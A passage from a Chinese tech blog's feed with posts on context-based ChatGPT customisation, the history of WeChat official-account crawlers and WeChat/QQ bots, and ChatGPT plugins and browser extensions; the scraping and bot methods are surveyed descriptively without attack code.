title="基于上下文训练"></a>基于上下文训练</h1><p>在前面的文章中，其实有讲到这个关键点，虽然<strong>ChatGPT不会学习来自互联网上的任何对话信息</strong>，但为了保证对话的流畅性，<strong>ChatGPT会记录每个对话session的上下文</strong>并在这个基础上对你进行反馈。</p><p>所以就衍生了一种相关的方案，<strong>通过储存上下文来实现简单的训练</strong>，这个东西最大的优势是<strong>可以使用现在大模型中最领先的GPT4模型</strong>，而问题是，这种方案只能<strong>实现特别简单的训练</strong>，尤其是<strong>不能太多条+长度过长</strong>！</p><p>很多第三方的ChatGPT和一些浏览器插件其实都实现了类似的功能。这里拿我使用的第三方ChatGPT来看看这个功能。</p><ul><li><a href="https://github.com/Yidadaa/ChatGPT-Next-Web" target="_blank" rel="noopener">https://github.com/Yidadaa/ChatGPT-Next-Web</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612021.png" alt="img"></p><p>首先是你可以在对话之前对其预设面具，这个东西可以有很多预设内容。这里我们只假设了<strong>一个比较简单的基础设定</strong>。当然这只是一个简单的人设面具，你也可以通过特别具体的prompt来作为基础了，这部分内容在前面的文章中讲到过。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612272.png" alt="img"></p><p>我们再回到魔兽的小助手上，我们再提供一下相关的数据。<strong>把相关的数据以及条件放在方案预设之中</strong>。这里提前准备好相应的数据内容。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612818.png" alt="img"></p><p>通过<strong>设置前置上下文，可以在一定程度上影响ChatGPT的功能以及表现</strong>，来实现一个简单的自定义ChatGPT。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612385.png" alt="img"></p><p>除此之外，<a href="https://github.com/Yidadaa/ChatGPT-Next-Web" target="_blank" rel="noopener">ChatGPT-Next-Web</a>本身也有<strong>消息摘要功能</strong>，会总结前几条发送的内容摘要。附加到请求中。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612304.png" alt="img"></p><p>要注意的是，<strong>这个方案更适用于和ChatGPT本身功能类似的场景，大部分是文字类相关的，主要是设定场景和人设。在一定的限定场景下并控制回复，就比如非常经典的文案辅助、批改作文等等。</strong></p><p>但单纯的预制prompt不适用于<strong>有大量基础数据的特殊模型</strong>，当然，魔高一尺道高一丈。也有不少产品用了一些旁敲的方案。还是拿刚才基于博客文章训练的问答机器人来举例子。</p><p>如果单纯的靠文章数据总结或者干脆直接拿博客文章来训练，这份<strong>数据集很大而且内容冗杂</strong>，直接训练的效果很不好，所以更靠谱的方案是，在<strong>ChatGPT前面挂一个数据库。</strong></p><p>用户输入问题的时候可以<strong>简单的拆解关键词然后从数据库查询结果，然后再作为上下文传到ChatGPT，并由ChatGPT做总结和摘要。</strong></p><p>但这种基于上下文的训练方案问题比较多，专业性越强的效果就会越差，内容越多效果也会越差，所以<strong>这其实也算是一种临时方案，与实际训练过的效果差很多。</strong></p><h1 id="基于其他LLM大模型的训练方案"><a href="#基于其他LLM大模型的训练方案" class="headerlink" title="基于其他LLM大模型的训练方案"></a>基于其他LLM大模型的训练方案</h1><p>其实抛开ChatGPT以外，现在市面上还有<strong>非常多比较靠谱的LLM大模型</strong>，虽然和GPT4都有很大的差距，但能比拟GPT3.5的大模型已经相当多了。</p><p>我思来想去，感觉这个问题还比较多，这部分内容我打算专门拆到另一篇文章里再说。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在之前的文章中曾经提到过，ChatGPT其实是不接受来自互联网的知识的，他的所有内容都是来自于至少3年前各种来源的知识库。&lt;strong&gt;但这并不意味着ChatGPT没有能力学习你的回答&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;首先ChatGPT一般会根据你和他的问答内容进行一定的上下文参考，其次，由于ChatGPT学习的内容之庞大，你通过一种直白的方式问不到的答案不一定是他不会，有可能是你问的方式不对。&lt;/p&gt;
&lt;p&gt;在ChatGPT的官方文档中，&lt;strong&gt;他首先鼓励你通过提供多个示例来让ChatGPT更准确的寻找答案，他把这个方案称之为**&lt;/strong&gt;“few-shot learning.”**&lt;/p&gt;
&lt;p&gt;除此之外，当然他也允许你通过&lt;strong&gt;微调功能来对ChatGPT进行一定的训练&lt;/strong&gt;，来获得一个更符合自己要求的ChatGPT，当然，这个功能是收费的。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305191612484.png&quot; alt=&quot;img&quot;&gt;&lt;/p&gt;
&lt;p&gt;但Fine-tuning这个功能目前只能应用于&lt;strong&gt;GPT3的基础模型&lt;/strong&gt;，就目前而言，&lt;strong&gt;这个功能其实还不如很多市面上的其他大模型，openai并没有给出特别好的自定义方案给大家。但这篇文章还是先聊聊这个。&lt;/strong&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="chatgpt" scheme="https://lorexxar.cn/tags/chatgpt/"/>
    
    <category term="llm" scheme="https://lorexxar.cn/tags/llm/"/>
    
  </entry>
  
  <entry>
    <title>看上去不起眼的微信机器人以及公众号爬虫</title>
    <link href="https://lorexxar.cn/2023/05/08/wechat-robot/"/>
    <id>https://lorexxar.cn/2023/05/08/wechat-robot/</id>
    <published>2023-05-08T10:27:32.000Z</published>
    <updated>2023-05-09T05:58:09.000Z</updated>
    
    <content type="html"><![CDATA[<p>互联网发展零零散散都要20多年了，技术发展的重心也一直在演变。今天这篇文章很特别，起因是最近有一些关于微信机器人以及公众号爬虫的需求，本以为这种老透了需求其实现在根本不需要花什么时间精力去搞，结果没想到这个东西在过去的十几年里经过了很多次变化，于是决定记录下这篇文章，一方面是留个技术存档，另一方面也是想看看10年之前的技术相比现在和10年之后发生过又或者会发生什么的变化？</p><a id="more"></a><h1 id="公众号爬虫"><a href="#公众号爬虫" class="headerlink" title="公众号爬虫"></a>公众号爬虫</h1><p>公众号爬虫在我看来按理说应该是老掉牙的技术了才对，2012年8月17日，<strong>微信公众平台</strong>正式向普通用户开放。而正式上线则是8月23日，命名为“官号平台/媒体平台”。</p><h2 id="基于搜狗搜索的爬取"><a href="#基于搜狗搜索的爬取" class="headerlink" title="基于搜狗搜索的爬取"></a>基于搜狗搜索的爬取</h2><p>微信从制作公众号开始其实意图就是在微信的平台基础上营造一个新的互联网生态，而公众号早期就有搜索和爬虫的问题在，而早期的微信公众号搜索大部分都是基于<strong>搜狗搜索</strong>制作的。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081841864.png" alt="img"></p><p>但比较麻烦的问题是，搜狗搜索在使用的过程过程中加入了很多很多限制。</p><ul><li>大量请求之后会触发验证码</li><li>无法精确搜索指定公众号，输入公众号名会搜出多个公众号，且对应的文章链接是临时链接，几个小时之后会失效。</li></ul><p>主要的问题就是后面这个限制，<strong>如果爬虫搜到的文章链接都是临时的，那你爬取的结果就只能用作临时处理，这显然不符合大部分人的需求。所以这种爬虫方式已经被废弃了，市面上主流的公众号爬虫都不使用这个方案。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081841250.png" alt="img"></p><p>2019年后这类爬虫工具纷纷失效</p><h2 id="基于中间人的爬取"><a href="#基于中间人的爬取" class="headerlink" title="基于中间人的爬取"></a>基于中间人的爬取</h2><p>在搜狗搜索之后，爬虫的从业者又开始想点子了，既然没有办法在互联网上搜索到公众号，那就把视角回到微信上面，<strong>基于中间人代理的方式抓取数据</strong>。简单来说就是通过mitm来拦截微信中对公众号的请求，并对内容做处理。Github上高星的微信公众号爬虫都是基于这个方案制作的。很可惜的是，哪怕是最新的工具最少都是3年前才更新过。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081841914.png" alt="img"></p><p>这个爬虫有几个比较大的问题</p><ul><li>必须独立使用一台windows服务器去做，因为微信只有win和mac版本，你想要把他跑在线上就必须搞一台windows服务器，而且还必须挂一个微信上去，成本就很高</li><li>微信在不知道什么时候做了额外的反爬机制，根据我的搜索应该就是22、23年左右添加的，触发某种反爬机制之后，惩罚从以前的封禁24小时修改成了永久封禁。这个封禁方式也很有意思，他阻止你访问微信公众号的历史列表</li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842264.png" alt="img"></p><p>被封禁的微信账号不能访问公众号的历史文章，不影响其他的任何功能，比较有意思的一点是，这个功能我在新版本的微信中找不到了，换成了一个其他的页面。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842782.png" alt="img"></p><p>如果你尝试使用中间人的方案去爬微信公众号的文章，那么你会在<strong>触发反爬规则之后被阻止访问触发规则的页面</strong>（我猜测是这样，我被封了3个号都没找到被封的具体原因），这样的话可以最小限度的避免对普通用户的影响，毕竟普通用户刷微信公众号的频率也很高。<strong>但事实则是，由于我们无法访问历史文章列表，即便我们还可以读取文章内容，但也无法实现自动更新了。</strong></p><h2 id="基于微信公众号的爬取"><a href="#基于微信公众号的爬取" class="headerlink" title="基于微信公众号的爬取"></a>基于微信公众号的爬取</h2><p>其实到上一个方案已经涵盖了99%的主流方案了，现在随便搜一搜微信公众号爬虫基本都是3年前左右的东西基本都是基于中间人做的，这也给了我很大的困扰，我不知道是不是真的有现在还能用的工具，但我<strong>的确找不到一个很靠谱的方案。</strong></p><p>在我努力挖掘下，我找到了一些零散的接口，可以用来获取某些信息。</p><p>不知道大家有没有用过微信公众号的后台，新建草稿箱里插入超链接可以引入微信公众号的链接。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842779.png" alt="img"></p><p>选择公众号之后可以通过下面的文章列表来查看，这里可以获取到所有的文章链接，然后再利用前面的中间人方案爬取文章内容。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842558.png" alt="img"></p><p>这个方案最大的问题就是cookie会失效，不是全自动，就是需要每隔几天更新一次cookie还是挺麻烦的。</p><p><strong>并且公众号的这个功能也有反爬，相比单篇的页面内容爬取，公众号的这个功能使用频率更低，你可能需要设置3分钟以上。但总得来说起码可以实现我们的目的。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842103.png" alt="img"></p><h2 id="爬虫本身"><a href="#爬虫本身" class="headerlink" title="爬虫本身"></a>爬虫本身</h2><p>前面零零散散的讲了很多方案，现在我们把视角转回到这个事情本身上，看看问题的难点到底在哪里。</p><p>首先，爬虫的第一部分就是，标志<strong>微信公众号的东西是什么？</strong></p><p>微信公众号和微信不太一样，没有微信号之类的存在，所谓公众号名呢更是可以修改，所以在公众号的体系下引入了<strong>名为biz的标志码</strong>，当我们随便打开一篇微信文章，就可以从源代码里搜到这个标志码。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842322.png" alt="img"></p><p>这个base64编码过后的字符串就是微信公众号的id，<strong>通过__biz可以获取微信公众号的很多内容</strong>，其中就包括微信公众号的信息。在之前的很多文章当中，大量的引入了使用biz获取微信公众号信息的方案。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842200.png" alt="img"></p><p>但不知道从何时开始，微信在这个页面加入了对应的限制，如果浏览器直接访问会返回。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842181.png" alt="img"></p><p>这里插入一个笑话，我在搜索相关资料的时候看到的。:&gt;</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842392.png" alt="img"></p><p>网上搜索到的信息到这里基本都是错的，事实上在现在微信的防护策略里面，是对页面的分级策略的，在pc版本的微信打开的每一个弹出窗口，大部分都是web页面，其中的区别是，点击链接只是单纯的使用内置浏览器打开页面，而点击内置功能，则可能使用在中间加入额外的限制以及权限验证，就比如前面的链接，就是验证了微信账户，<strong>如果没有相应的权限则返回”请在微信客户端打开链接”</strong>，这点可以用一个特殊的方式来验证。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Wechat.exe -remote-debugging-port=9222</span><br></pre></td></tr></table></figure><p>通过加参数的方式打开微信并登录之后，随便打开一个页面，并访问<a href="http://127.0.0.1:9222/json，我们可以在返回中找到对应的链接，这个接口是webdriver的CEF协议接口。" target="_blank" rel="noopener">http://127.0.0.1:9222/json，我们可以在返回中找到对应的链接，这个接口是webdriver的CEF协议接口。</a></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842926.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842676.png" alt="img"></p><p>而更大的问题在于，这套老版本pc微信被废弃了，<strong>新版本的微信废弃了这部分的实现方案</strong>。</p><p>我用了一些方案去调新版本的微信，我发现解决问题的难度已经远大于问题本身，于是，解决问题的方案还是回到老版本的方案中。</p><h1 id="微信机器人"><a href="#微信机器人" class="headerlink" title="微信机器人"></a>微信机器人</h1><h2 id="qq机器人"><a href="#qq机器人" class="headerlink" title="qq机器人"></a>qq机器人</h2><p>相比公众号爬虫来说，可能微信机器人对于很多人都是一个远古的记忆。比起微信机器人来说，其实大家了解更多的可能是qq机器人，又或者是基于微信公众号或者企业微信使用的机器人，再到后来大家比较熟知的类似于飞书机器人。但微信机器人其实是一个相对比较空白的场景，主要是定位的区别。</p><p>qq机器人的发展史及其复杂，早期的qq技术力比较弱，很多qq机器人的用的都是直接逆向qq用底层的接口实现的。甚至<strong>早期有大量的qq机器人就是直接用qq的接口重写实现。</strong></p><p>到中期，以酷Q为代表的<strong>基于Docker和wine实现的酷Q on Docker</strong>成为更稳定和主流的实现方案，当然，在2020年由于腾讯的执法追责，酷Q下线，很多第三方QQ机器人就此结束。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842316.webp" alt="img"></p><p>当然除了早期的各种机器人以外，还有很多至今为止仍然好用的东西，其中一个很有名的就是mirai。</p><ul><li><p><a href="https://github.com/mamoe/mirai" target="_blank" rel="noopener">https://github.com/mamoe/mirai</a></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305091358503.png" alt="image-20230509135330779"></p></li></ul><p>与此同时，QQ也推出了内置的机器人接口，甚至也推出了官方机器人可以直接添加到qq群里，除了qq群还有qq频道的专属机器人，开发者可以直接用官方的平台来定制化机器人实现。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842765.png" alt="img"></p><p>相比QQ漫长而又复杂的变化来讲，其实微信机器人的演化更为粗暴。</p><h2 id="微信机器人演化"><a href="#微信机器人演化" class="headerlink" title="微信机器人演化"></a>微信机器人演化</h2><p>早期的微信机器人大部分都是基于微信web版本</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842878.png" alt="img"></p><p>既然有方案，那自然也就有相对的方案，一个是web版本的微信在后续的更新中删除了很多很多功能，基本没剩下什么接口了，而且cookie的过期时间也被加速了，几个小时就会掉。另一个是现在权重低的微信号（小号、新注册的）根本就没办法登录web版本的微信，<strong>所以这个方案在后续的演化中被放弃了。</strong></p><h3 id="微信官方接口"><a href="#微信官方接口" class="headerlink" title="微信官方接口"></a>微信官方接口</h3><p>类似QQ，微信相对的也拆分出了很多场景，<strong>在微信中承担交互作用的是公众号、订阅号、小程序</strong>。而公众号、订阅号和小程序都有<strong>相应的api和平台用于实现自动回复以及交互</strong>功能。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842881.png" alt="img"></p><p>之前比较主流的<strong>机器人+扫描器场景</strong>，其实都是在这个基础上实现的交互方案，这个东西有api可以用，也有很成熟的库可以直接调。<strong>企业微信也提供了自建应用的方案来实现类似的功能</strong>。</p><p>作为机器人无法解决的问题就是<strong>群管理和好友管理问题</strong>。但其实微信也设计了相应的场景就是企业微信，<strong>在企业微信的后台可以直接新建客户群，并且依托客户群的功能来管理微信群。</strong>这里有个很大的优势是，微信群默认超过200人就不能通过二维码进群了，而<strong>客户群可以配置用一套模板自动建群进群</strong>，原意应该是为了维护私域客户群。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081842307.png" alt="img"></p><p>比如说如果想<strong>通过API来交互调用消息推送到所有客户群</strong>，企业微信也提供了相应的API，但是每个用户每天只能推送一次。</p><p>但是以上的所有方案里面最大的问题在于企业微信的<strong>很多功能都是需要认证之后才能用。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843116.png" alt="img"></p><p>而且这个东西还挺坑的一点在于，这个认证不是直接付费使用，而是<strong>必须用公司营业执照或者法人代表</strong>等东西认证。</p><p>而更坑的是企业微信的外部群，就是前面提到的客户群，目前是阉割功能的，<strong>不能添加类似群机器人的东西。这个东西几年前就是这样，可能企业微信不希望你用这种方式管理群。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843257.png" alt="img"></p><p>除了比较基础的群管理，自动回复等等以外，<strong>企业微信的小程序接口也是自由度相当高</strong>。这块东西是很多人使用企业微信的主因之一</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843135.png" alt="img"></p><p>在这里创建企业微信应用之后，可以直接<strong>通过相应的api来向应用发送消息</strong>，也可以<strong>配置api接受消息来实现信息</strong>的交互。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843819.png" alt="img"></p><p>就比如现在很流行的给微信机器人接ChatGPT，其中就比如</p><ul><li><a href="https://github.com/zhayujie/chatgpt-on-wechat" target="_blank" rel="noopener">https://github.com/zhayujie/chatgpt-on-wechat</a></li></ul><p>就支持通过API接受消息来<strong>实现和chatgpt的交互</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843354.png" alt="img"></p><p>但我又遇到了一个新的问题就是，<strong>怎么把企业微信的内部应用对外使用呢</strong>？正常来讲，企业微信自建应用<strong>主要是对内的，企业内部使用</strong>，企业微信本身其实没有设置相关的场景。</p><p>之前也看到过那种用这个方案实现应用对外共享的应用，他们直接选择建一个企业卫星来解决这个问题，用户可以直接加入企业然后使用工作台里的自建应用。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843711.png" alt="img"></p><p>在我研究了一段时间之后，抛开企业微信的企业内场景，现在微信也提供了官方的<strong>智能对话接口</strong>可以实现<strong>类似于微信客服</strong>的东西。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843583.png" alt="img"></p><ul><li><a href="https://chatbot.weixin.qq.com/" target="_blank" rel="noopener">https://chatbot.weixin.qq.com/</a></li></ul><p>在微信对话开放平台你可以自己注册一个自己的机器人，在这里你可以通过很多种方式配置自动回复，其中有<strong>比较简单粗暴的培养式，也有高级的基于接口开发</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843933.png" alt="img"></p><p>除了简单的对话式设定，还支持高级的词典式解读对话。当然我觉得相对比较实用的是在<strong>高级对话里可以关联接口，甚至可以自定义接口</strong>，这就为这个接口增加了很多的可能性，你可以通过自定义接口来实现某些功能。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843179.png" alt="img"></p><p>通过微信客服的接入功能，我们可以用<strong>微信的智能客服来替代原本只能自动回复的原客服机器人</strong>，用户可以在客户群里添加客服助理并对话。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843330.png" alt="img">)<img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843219.png" alt="img"></p><p>我花了一段时间把相关的各种api都研究了一遍，但其中的问题都不少，主要问题就是他总是有各种各样的限制场景，相比可以自由操作的普通微信账号功能差距还是很大。</p><h3 id="第三方接口"><a href="#第三方接口" class="headerlink" title="第三方接口"></a>第三方接口</h3><p>抛开官方提供的方案以外，和qq的方案类似，<strong>微信机器人也用了类似的逆向破解接口的方案来实现对部分功能的调用</strong>，其中很大程度上依赖的是<strong>历史版本的微信</strong>，这也得益于微信对于旧版本的支持，很多机器人运行的还算流畅。</p><p>我研究了很久，现在比较成熟的工具是可爱猫。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843639.png" alt="img"></p><p>当然由于各种各样的原因，可爱猫现在已经没有公开的渠道获取了，想要的话需要找社群去弄。而可爱猫虽然是一个易语言写的工具，但是却实现了一套很成熟的http接口插件方案。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081843176.png" alt="img"></p><p>通过插件可以配合自己实现的web接口来实现各种各样的功能</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081844273.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081844630.png" alt="img"></p><p>整体还是比较简单好用的，唯一的问题是可爱猫在服务器运行会<strong>有很大的概率导致微信闪退</strong>，最关键的是无法稳定。我曾经稳定运行了半年，之后一直闪退怎么都开不起来，再到后来突然又好了。</p><p>除此之外，还有很多<strong>类似的方案可以直接操作微信的dll</strong></p><ul><li><a href="https://github.com/zhayujie/chatgpt-on-wechat" target="_blank" rel="noopener">https://github.com/zhayujie/chatgpt-on-wechat</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081844817.png" alt="img"></p><p>但是这个东西最大的问题是容易封号。我了解了以下是<strong>第一次警告踢下线，第二次封号</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081844743.png" alt="img"></p><p>顺这个我也看了不少相关的东西，有比较靠谱的方案就是直接在桌面版的微信上注入DLL操作。</p><ul><li><a href="https://github.com/SnapdragonLee/ChatGPT-weBot/blob/master/Readme_ZH.md" target="_blank" rel="noopener">https://github.com/SnapdragonLee/ChatGPT-weBot/blob/master/Readme_ZH.md</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202305081844696.png" alt="img"></p><p>这个方案据说比较靠谱。使用这种方案最大的优势就是你可以操作完成微信中需要的各种部分，就比如<strong>监控管理好友、群，自动回复私聊和微信群消息</strong>。</p><h1 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h1><p>其实前面记录了那么多，大体上把过去的很多方案都聊到了，这篇文章其实是没有讲到什么新东西，主要是花时间在研究已经有的东西，其中遇到最多的问题，就是探索微信官方对于各类功能的程序是如何认可和定义的。这本身不是一个技术上的问题，所以很多部分只能逐渐探索，无法得到准确的结果。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;互联网发展零零散散都要20多年了，技术发展的重心也一直在演变。今天这篇文章很特别，起因是最近有一些关于微信机器人以及公众号爬虫的需求，本以为这种老透了需求其实现在根本不需要花什么时间精力去搞，结果没想到这个东西在过去的十几年里经过了很多次变化，于是决定记录下这篇文章，一方面是留个技术存档，另一方面也是想看看10年之前的技术相比现在和10年之后发生过又或者会发生什么的变化？&lt;/p&gt;</summary>
    
    
    
    
    <category term="wechat" scheme="https://lorexxar.cn/tags/wechat/"/>
    
  </entry>
  
  <entry>
    <title>从0到1的ChatGPT - 进阶篇（三）- ChatGPT+？</title>
    <link href="https://lorexxar.cn/2023/04/28/chatgpt-3/"/>
    <id>https://lorexxar.cn/2023/04/28/chatgpt-3/</id>
    <published>2023-04-28T10:56:52.000Z</published>
    <updated>2023-04-28T11:08:42.000Z</updated>
    
    <content type="html"><![CDATA[<p>在我们对ChatGPT的基础能力有了一定的了解之后，我们就要开始在ChatGPT的基础上探索更多的可能性。</p><p>而ChatGPT本身的问题也很多，ChatGPT在使用上最大也最明显的革命，<strong>其实是对自然语言的处理能力</strong>，抛开太多专业性的术语，你在使用的过程中也能明显感觉到，ChatGPT甚至在某些方面有着比正常人更厉害的解读能力，<strong>它可以把一段模糊的要求和文字解读成需求，最牛逼的是它还支持中文</strong>，毕竟理论上中文的自然语言处理难度是几个量级。</p><a id="more"></a><p>拿下面这个图举例子，我感觉我都没说明白，但却获得了答案。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281858932.png" alt="img"></p><p>除了强大的自然语言处理能力，以及大模型背景下庞大的数据以外。ChatGPT还有很多明显的缺点，其中<strong>最直白的问题就是数据的过时以及不联网问题。</strong>目前ChatGPT的训练数据集截止到2021年，而没有准确数据集的数据，ChatGPT就没有置信数据可以参考，<strong>而这类问题ChatGPT就会通过某种方式自我学习产生，而他的结果就会产生各种各样的错误。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281858889.png" alt="img"></p><p>当然，为了避免大数据污染等等问题，ChatGPT目前公开对外使用的接口，最多只会参考部分上下文以及限定单个对话session中做学习优化，但不会对用户的输入做学习。</p><p>为了解决这个问题，ChatGPT选择了<strong>用第三方插件作为媒介</strong>，让AI在比较安全的环境学习外界的数据，最早的合作公司由Expedia、FiscalNote、Instacart、KAYAK、Klarna、Milo、OpenTable、Shopify、Slack、Speak、Wolfram 和 Zapier 创建。</p><ul><li><a href="https://openai.com/blog/chatgpt-plugins" target="_blank" rel="noopener">https://openai.com/blog/chatgpt-plugins</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281858263.jpeg" alt="img"></p><p>其中的各种插件可以覆盖大部分的场景，包括：</p><ul><li>检索实时信息：例如体育比分、股票价格、最新消息等；</li><li>检索知识库信息：例如公司文件、个人笔记等；</li><li>代表用户执行操作：例如，订机票、订餐等。</li></ul><p>除此之外呢，ChatGPT官方还提供了两个插件，一个是网络浏览器，另一个是代码解释器，并开源了一个知识库检索插件的代码。现在，<strong>任何开发人员都可以自行构建插件</strong>，用来增强 ChatGPT 的信息库了。从这里开始ChatGPT+的概念算是诞生。</p><p>虽然目前这部分的插件还只是<strong>开放给了候补名单中的用户和开发人员</strong>，但计划中即将开放给部分ChatGPT plus的用户了。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281858517.png" alt="img"></p><h1 id="一些有趣的ChatGPT周边"><a href="#一些有趣的ChatGPT周边" class="headerlink" title="一些有趣的ChatGPT周边"></a>一些有趣的ChatGPT周边</h1><p>除了ChatGPT官方的插件以外，还有很多以各种各样的方案实现的ChatGPT衍生产品，其中有很多意思的东西，这里我就推荐几个比较有意思的</p><h2 id="WebChatGPT"><a href="#WebChatGPT" class="headerlink" title="WebChatGPT"></a>WebChatGPT</h2><p><a href="https://chrome.google.com/webstore/detail/webchatgpt-chatgpt-with-i/lpfemeioodjbpieminkklglpmhlngfcn" target="_blank" rel="noopener">https://chrome.google.com/webstore/detail/webchatgpt-chatgpt-with-i/lpfemeioodjbpieminkklglpmhlngfcn</a></p><p>WebChatGPT是一款Chrome的插件，它可以用一个特殊的方案来实现ChatGPT的联网，来让ChatGPT的返回数据更准确更新。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281858086.png" alt="img"></p><p>他的实现方案特别有意思，<strong>简单来说，他会先把你的问题拿去搜索引擎上搜，然后把结果喂给ChatGPT，然后让ChatGPT以搜索结果作为上下文学习，之后再回答你的问题。</strong></p><p>插件安装成功之后，你的对话框上多了很多的参数</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859186.png" alt="img"></p><p>Web access（是否要开启联网功能）、X results（想要它列出几条来源）、Time（多久之前的资料）、Region（哪个地区的资料），以及最右边的Prompt（默认指令）</p><p><strong>通过配置参数并开启，你可以获取到非常有时效性的内容</strong>，比如说询问天气。因为正常来讲你询问chatgpt天气会返回这样的内容。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859491.png" alt="img"></p><p>但如果你使用这个插件，你就可以获取这样的结果。</p><p>但要注意的是，<strong>由于插件的实现方式（通过输入搜索内容关联上下文），使用WebChatGPT会大幅度削减原本对话中的上下文关联度，所以一般来说只有特定的场景下才使用这个插件。</strong></p><h2 id="Monica"><a href="#Monica" class="headerlink" title="Monica"></a>Monica</h2><p><a href="https://chrome.google.com/webstore/detail/monica-—-your-chatgpt-cop/ofpnmcalabcbjgholdjcjblkibolbppb" target="_blank" rel="noopener">https://chrome.google.com/webstore/detail/monica-%E2%80%94-your-chatgpt-cop/ofpnmcalabcbjgholdjcjblkibolbppb</a></p><p>这个插件是Google for ChatGPT的进阶，<strong>它集合了你在上网过程中会遇到的各种问题和场景，并通过chatgpt来辅助使用。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859512.png" alt="img"></p><p>当然，这个玩意现在越来越成熟了，所以它也开始收费了，大家可以自己感受一下</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859993.png" alt="img"></p><p>这个插件最常见的功能就是搜索辅助，会<strong>直接对你google的搜索结果做优化，直接返回你i想要查询的结果</strong>。可以大幅度节省找到答案的时间。最牛的是，<strong>它还支持百度</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859494.png" alt="img"></p><p>除此之外，还有一些比较有意思的东西，比如说划词右键解释</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859218.png" alt="img"></p><p>使用ctrl+m可以打开侧边，这里有两个功能，一个是聊天和写作辅助</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859984.png" 